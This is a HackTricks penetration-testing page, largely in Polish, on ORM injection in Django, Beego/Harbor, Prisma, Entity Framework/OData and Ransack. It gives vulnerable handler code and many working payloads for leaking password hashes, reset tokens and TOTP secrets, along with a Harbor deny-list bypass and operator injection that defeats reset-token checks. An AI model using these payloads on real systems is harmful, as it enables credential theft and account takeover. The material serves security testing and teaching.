ORM Injection

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Django ORM (Python)

W this post wyjaśniono, jak można uczynić Django ORM podatnym, używając na przykład kodu takiego jak:

class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Zauważ, że całe request.data (które będzie a json) jest bezpośrednio przekazywane do filter obiektów z bazy danych. Atakujący może wysłać nieoczekiwane filtry, aby leakować więcej danych niż przewidywano.

Przykłady:

  • Login: W prostym loginie spróbuj leakować passwords użytkowników zarejestrowanych w nim.
{
"username": "admin",
"password_startswith": "a"
}

Caution

Możliwe jest brute-force hasła, aż zostanie leaked.

  • Relational filtering: Możliwe jest przechodzenie po relacjach, aby leak informacje z kolumn, które w ogóle nie były spodziewane do użycia w tej operacji. Na przykład, jeśli możliwe jest leak artykułów utworzonych przez użytkownika przy użyciu tych relacji: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}

Caution

Możliwe jest znalezienie hasła wszystkich użytkowników, którzy utworzyli artykuł

  • Many-to-many relational filtering: W poprzednim przykładzie nie mogliśmy znaleźć haseł użytkowników, którzy nie utworzyli artykułu. Jednakże, podążając innymi relacjami, jest to możliwe. Na przykład: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}

Caution

W tym przypadku możemy znaleźć wszystkich użytkowników w działach, którzy utworzyli artykuły, a następnie leak ich hasła (w poprzednim jsonie leakujemy tylko nazwy użytkowników, ale potem możliwe jest leakowanie haseł).

  • Abusing Django Group and Permission many-to-may relations with users: Moreover, the AbstractUser model is used to generate users in Django and by default this model has some many-to-many relationships with the Permission and Group tables. Which basically is a default way to access other users from one user if they are in the same group or share the same permission.
# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Bypass filter restrictions: Ten sam wpis na blogu proponował obejście użycia pewnego filtrowania, takiego jak articles = Article.objects.filter(is_secret=False, **request.data). Możliwe jest dumpowanie artykułów, które mają is_secret=True, ponieważ możemy cofnąć się przez relację do tabeli Article i leakować sekretne artykuły z nie-sekretnych artykułów — ponieważ wyniki są łączone, pole is_secret jest sprawdzane w nie-sekretnym artykule, podczas gdy dane są leakowane z sekretnego artykułu.
Article.objects.filter(is_secret=False, categories__articles__id=2)

Caution

Nadużywając relacji, można obejść nawet filtry mające na celu ochronę wyświetlanych danych.

  • Error/Time based via ReDoS: W poprzednich przykładach spodziewano się różnych odpowiedzi w zależności od tego, czy filtrowanie zadziałało, aby wykorzystać to jako oracle. Jednak może się zdarzyć, że jakieś działanie zostanie wykonane w bazie danych i odpowiedź będzie zawsze taka sama. W takim scenariuszu możliwe jest sprowokowanie błędu bazy danych, by uzyskać nowe oracle.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

Z tego samego posta dotyczącego tego wektora:

  • SQLite: Nie posiada domyślnego operatora regexp (wymaga załadowania zewnętrznego rozszerzenia)
  • PostgreSQL: Nie posiada domyślnego regex timeoutu i jest mniej podatny na backtracking
  • MariaDB: Nie posiada regex timeoutu

Beego ORM (Go) & Harbor Filter Oracles

Beego odzwierciedla DSL Django field__operator, więc każdy handler, który pozwala użytkownikom kontrolować pierwszy argument QuerySeter.Filter(), ujawnia cały graf relacji:

qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator

Żądania takie jak /search?filter=created_by__user__password__icontains=pbkdf mogą pivotować przez foreign keys dokładnie tak jak powyższe Django primitives. Harbor’s q helper parsed user input into Beego filters, więc użytkownicy o niskich uprawnieniach mogli sondować sekrety, obserwując odpowiedzi z listy:

  • GET /api/v2.0/users?q=password=~$argon2id$ → ujawnia, czy którykolwiek hash zawiera $argon2id$.
  • GET /api/v2.0/users?q=salt=~abc → leaks salt substrings.

Zliczanie zwróconych wierszy, obserwowanie metadanych paginacji lub porównywanie długości odpowiedzi daje oracle do brute-force całych hashes, salts i TOTP seeds.

Omijanie poprawek Harbor za pomocą parseExprs

Harbor próbował chronić wrażliwe pola, oznaczając je filter:"false" i walidując tylko pierwszy segment wyrażenia:

k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)

Beego’s internal parseExprs walks every __-delimited segment and, when the current segment is not a relation, it simply overwrites the target field with the next segment. Payloads such as email__password__startswith=foo therefore pass Harbor’s Filterable(email)=true check but execute as password__startswith=foo, bypassing deny-lists.

v2.13.1 limited keys to a single separator, but Harbor’s own fuzzy-match builder appends operators after validation: q=email__password=~abcFilter("email__password__icontains", "abc"). The ORM again interprets that as password__icontains. Beego apps that only inspect the first __ component or that append operators later in the request pipeline stay vulnerable to the same overwrite primitive and can still be abused as blind leak oracles.

Prisma ORM (NodeJS)

The following are tricks extracted from this post.

  • Pełna kontrola nad find:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

Widać, że całe ciało javascript jest przekazywane do prisma, aby wykonać zapytania.

In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password…)

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

Poniższy przykład wybiera wszystkie posty utworzone przez użytkownika posiadającego hasło i zwróci to hasło:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Pełna kontrola klauzuli where:

Spójrzmy na przykład, w którym atakujący może kontrolować klauzulę where:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Vulnerable to ORM Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Możliwe jest bezpośrednie filtrowanie pola password użytkowników w następujący sposób:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})

Caution

Używając operacji takich jak startsWith możliwe jest leak informacji.

  • Omijanie filtrowania relacji many-to-many:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})

Możliwe jest leak nieopublikowanych artykułów poprzez cofnięcie się do relacji wiele-do-wielu pomiędzy Category -[*..*]-> Article:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

Możliwe jest również leak wszystkich użytkowników poprzez wykorzystanie pętli zwrotnej w niektórych relacjach wiele-do-wielu:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: W oryginalnym poście możesz przeczytać bardzo obszerne zestawienie testów przeprowadzonych w celu znalezienia optymalnego payloadu pozwalającego na leak informacji z użyciem time based payload. Oto:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Gdzie {CONTAINS_LIST} to lista z 1000 ciągów znaków, aby upewnić się, że odpowiedź jest opóźniona, gdy zostanie znaleziony właściwy leak.

Zamieszanie typów w filtrach where (operator injection)

API zapytań Prisma akceptuje wartości prymitywne lub obiekty operatorów. Gdy funkcje obsługi zakładają, że ciało żądania zawiera zwykłe łańcuchy znaków, ale przekazują je bezpośrednio do where, atakujący mogą przemycić operatory do przepływów uwierzytelniania i ominąć sprawdzenia tokenów.

const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})

Typowe wektory przymusu:

  • JSON body (default express.json()): {"resetToken":{"not":"E"},"password":"newpass"} ⇒ dopasowuje każdego użytkownika, którego token nie jest E.
  • URL-encoded body with extended: true: resetToken[not]=E&password=newpass staje się tym samym obiektem.
  • Query string in Express <5 or with extended parsers: /reset?resetToken[contains]=argon2 leaks substring matches.
  • cookie-parser JSON cookies: Cookie: resetToken=j:{"startsWith":"0x"} jeśli cookies są przekazywane do Prisma.

Ponieważ Prisma chętnie ocenia { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, itd., każde sprawdzenie równości sekretów (reset tokens, API keys, magic links) można rozszerzyć do predykatu, który zwróci true bez znajomości sekretu. Połącz to z filtrami relacyjnymi (createdBy), aby wybrać ofiarę.

Szukaj przepływów, w których:

  • Schematy żądań nie są egzekwowane, więc zagnieżdżone obiekty przetrwają deserializację.
  • Rozszerzone parsery body/query pozostają włączone i akceptują składnię nawiasową.
  • Handlery przekazują JSON użytkownika bezpośrednio do Prisma zamiast mapować go na dozwolone pola/operatorzy.

Entity Framework & OData Filter Leaks

Reflection-based text helpers leak secrets

Microsoft TextFilter helper abused for leaks ```csharp IQueryable TextFilter(IQueryable source, string term) { var stringProperties = typeof(T).GetProperties().Where(p => p.PropertyType == typeof(string)); if (!stringProperties.Any()) { return source; } var containsMethod = typeof(string).GetMethod("Contains", new[] { typeof(string) }); var prm = Expression.Parameter(typeof(T)); var body = stringProperties .Select(prop => Expression.Call(Expression.Property(prm, prop), containsMethod!, Expression.Constant(term))) .Aggregate(Expression.OrElse); return source.Where(Expression.Lambda>(body, prm)); } ```

Narzędzia pomocnicze, które enumerują każdą właściwość typu string i opakowują ją w .Contains(term), w praktyce ujawniają hasła, tokeny API, salta i sekrety TOTP każdemu użytkownikowi, który może wywołać endpoint. Directus CVE-2025-64748 jest przykładem z prawdziwego świata, w którym endpoint wyszukiwania directus_users uwzględniał token i tfa_secret w wygenerowanych predykatach LIKE, zamieniając zliczenia wyników w leak oracle.

OData comparison oracles

Kontrolery ASP.NET OData często zwracają IQueryable<T> i umożliwiają $filter, nawet gdy funkcje takie jak contains są wyłączone. Dopóki EDM eksponuje właściwość, atakujący nadal mogą na niej przeprowadzać porównania:

GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1

Sama obecność lub brak wyników (lub metadanych paginacji) pozwala na wyszukiwanie binarne każdego znaku zgodnie z collation bazy danych. Właściwości nawigacyjne (CreatedBy/Token, CreatedBy/User/Password) umożliwiają relacyjne pivoty podobne do Django/Beego, więc każde EDM, które ujawnia wrażliwe pola lub pomija deny-listy dla poszczególnych właściwości, jest łatwym celem.

Biblioteki i middleware, które tłumaczą ciągi od użytkownika na operatory ORM (np. Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers) powinny być traktowane jako sinks wysokiego ryzyka, chyba że implementują ścisłe allow-listy pól/operatorów.

Ransack (Ruby)

Te triki zostały found in this post.

Tip

Uwaga: Ransack 4.0.0.0 teraz wymusza użycie jawnej listy dozwolonych (allow list) dla przeszukiwalnych atrybutów i asocjacji.

Przykład podatny:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Zauważ, że zapytanie będzie określone przez parametry wysłane przez atakującego. Na przykład możliwe było brute-force reset tokena za pomocą:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

Poprzez brute-forcing i potencjalne wykorzystanie relacji można było uzyskać większy leak z bazy danych.

Strategie leaków zależne od collation

Porównania łańcuchów dziedziczą collation bazy danych, więc leak oracles muszą być zaprojektowane zgodnie z tym, jak backend porządkuje znaki:

  • Domyślne collation w MariaDB/MySQL/SQLite/MSSQL są często nieczułe na wielkość liter, więc LIKE/= nie rozróżniają a od A. Użyj operatorów rozróżniających wielkość liter (regex/GLOB/BINARY), gdy wielkość liter w sekrecie ma znaczenie.
  • Prisma i Entity Framework odzwierciedlają porządek bazy danych. Collations takie jak MSSQL’s SQL_Latin1_General_CP1_CI_AS umieszczają interpunkcję przed cyframi i literami, więc sondy binary-search muszą podążać za tym porządkiem zamiast surowej kolejności bajtów ASCII.
  • W SQLite LIKE jest nieczuły na wielkość liter, chyba że zarejestrowano niestandardowe collation, więc Django/Beego leaks mogą wymagać predykatów __regex do odzyskania tokenów rozróżniających wielkość liter.

Kalibrowanie payloadów do rzeczywistego collation unika zmarnowanych sond i znacząco przyspiesza zautomatyzowane ataki oparte na substring/binary-search.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks